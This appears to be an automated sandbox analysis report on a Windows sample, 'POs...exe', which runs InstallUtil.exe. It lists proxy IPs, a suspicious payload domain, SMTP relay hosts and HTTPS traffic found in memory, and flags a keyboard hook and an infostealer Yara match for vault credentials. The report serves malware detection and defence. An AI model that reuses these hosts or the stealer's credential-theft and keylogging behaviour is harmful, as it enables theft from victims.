Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.64:45780://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.64:45780p
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD272FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.29:31679
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD272FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.29:31679://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.7:31653
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.7:31653://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.206.244.30:18301
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.206.244.30:18301://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.64.169.17:8080
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.64.169.17:8080://proxy
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003903577643
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003903662650
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003904834724
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD29CCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003908313861
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2741D000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003908313873
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2926F000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003908313874
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A5B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003908314009
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A357000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003908314050
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28E20000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003908314088
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0M
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD275B5000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.pki.goog/gts1p5/0jT46UX4DmY.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ktxcomay.com.vn
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gtsr100
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD275B5000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/s/gts1p5/uFgUyufpvHQ01
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD275B5000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gts1p5.der0_
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD26E21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2582192043.0000000002851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: InstallUtil.exe, 00000006.00000002.2582192043.00000000028CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.fvpumps.com
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	String found in binary or memory: http://upx.sf.net
Source: InstallUtil.exe, 00000006.00000002.2582192043.00000000028CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.avis.com.hn
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28F00000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A39D000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD290A5000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD279F4000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD278A8000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD279B7000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.freecsstemplates.org
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28F00000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.squid-cache.org/Artwork/SN.png
Source: InstallUtil.exe, 00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: InstallUtil.exe, 00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2582192043.0000000002851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: InstallUtil.exe, 00000006.00000002.2582192043.0000000002851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: InstallUtil.exe, 00000006.00000002.2582192043.0000000002851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A544000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A2D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto&display=swap
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD26E21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD26E21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A2D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://globalurl.fortinet.net:8010/XX/YY/ZZ/CI/MGPGHGPGPFGHDDPFGGHGFHBGCHEGPFBGAHAH)
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD278A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A51F000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28FB2000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A8DE000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD29CCC000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A637000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A4B7000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A761000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65e7a0c47a6fa9a
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A732000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65e7a0c47a6fa9a21115fc76
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD26EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65e7a0c47a6fa9a21115fc768
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD274C0000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ktxcomay.com.vn
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A4FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html

Source: unknown	Network traffic detected: HTTP traffic on port 51763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53046
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53049
Source: unknown	Network traffic detected: HTTP traffic on port 53552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52240
Source: unknown	Network traffic detected: HTTP traffic on port 51881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53052
Source: unknown	Network traffic detected: HTTP traffic on port 54828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52129
Source: unknown	Network traffic detected: HTTP traffic on port 53053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54828
Source: unknown	Network traffic detected: HTTP traffic on port 50832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52243
Source: unknown	Network traffic detected: HTTP traffic on port 55020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52131
Source: unknown	Network traffic detected: HTTP traffic on port 52535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52090
Source: unknown	Network traffic detected: HTTP traffic on port 51572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51569
Source: unknown	Network traffic detected: HTTP traffic on port 51079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52530
Source: unknown	Network traffic detected: HTTP traffic on port 51996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52535
Source: unknown	Network traffic detected: HTTP traffic on port 53554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55008
Source: unknown	Network traffic detected: HTTP traffic on port 52532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51570
Source: unknown	Network traffic detected: HTTP traffic on port 51755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55012
Source: unknown	Network traffic detected: HTTP traffic on port 52129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55010
Source: unknown	Network traffic detected: HTTP traffic on port 52000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53518
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51615
Source: unknown	Network traffic detected: HTTP traffic on port 55018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53516
Source: unknown	Network traffic detected: HTTP traffic on port 52243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53515
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53519
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51331
Source: unknown	Network traffic detected: HTTP traffic on port 52608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51572
Source: unknown	Network traffic detected: HTTP traffic on port 52600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55020
Source: unknown	Network traffic detected: HTTP traffic on port 55004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55021
Source: unknown	Network traffic detected: HTTP traffic on port 52240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51621
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51589
Source: unknown	Network traffic detected: HTTP traffic on port 50485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53132
Source: unknown	Network traffic detected: HTTP traffic on port 51615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51075
Source: unknown	Network traffic detected: HTTP traffic on port 51621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51755
Source: unknown	Network traffic detected: HTTP traffic on port 51569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52608
Source: unknown	Network traffic detected: HTTP traffic on port 52115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52600
Source: unknown	Network traffic detected: HTTP traffic on port 55224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51996
Source: unknown	Network traffic detected: HTTP traffic on port 53141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52615
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53549
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51761
Source: unknown	Network traffic detected: HTTP traffic on port 51589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51884
Source: unknown	Network traffic detected: HTTP traffic on port 53516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 53133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54764
Source: unknown	Network traffic detected: HTTP traffic on port 51567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53552
Source: unknown	Network traffic detected: HTTP traffic on port 55022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 443

Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.11:50832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.57.121:443 -> 192.168.2.11:54060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.11:55224 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Windows\System32\WerFault.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D8E060	6_2_00D8E060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D8A8A8	6_2_00D8A8A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D8D86F	6_2_00D8D86F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D8E867	6_2_00D8E867
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D84AA8	6_2_00D84AA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D83E90	6_2_00D83E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D841D8	6_2_00D841D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0616C868	6_2_0616C868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06169E08	6_2_06169E08
